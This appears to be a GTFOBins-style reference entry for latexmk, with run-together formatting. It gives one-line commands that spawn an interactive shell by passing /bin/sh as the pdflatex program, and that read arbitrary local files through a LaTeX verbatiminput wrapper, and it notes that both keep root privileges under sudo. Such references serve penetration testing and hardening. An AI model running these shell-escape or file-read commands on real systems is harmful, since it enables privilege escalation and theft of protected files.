latexmk
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
latexmk -pdf -pdflatex='/bin/sh #' /dev/nullThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.latexmk -pdf -pdflatex='/bin/sh #' /dev/null
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file latexmk -dvi /path/to/temp-file strings temp-file.dviThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file latexmk -dvi /path/to/temp-file strings temp-file.dvi
Inherit
This executable can inherit functions from another.
- This function can be performed by any unprivileged user.
latexmk -e '...'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.latexmk -e '...'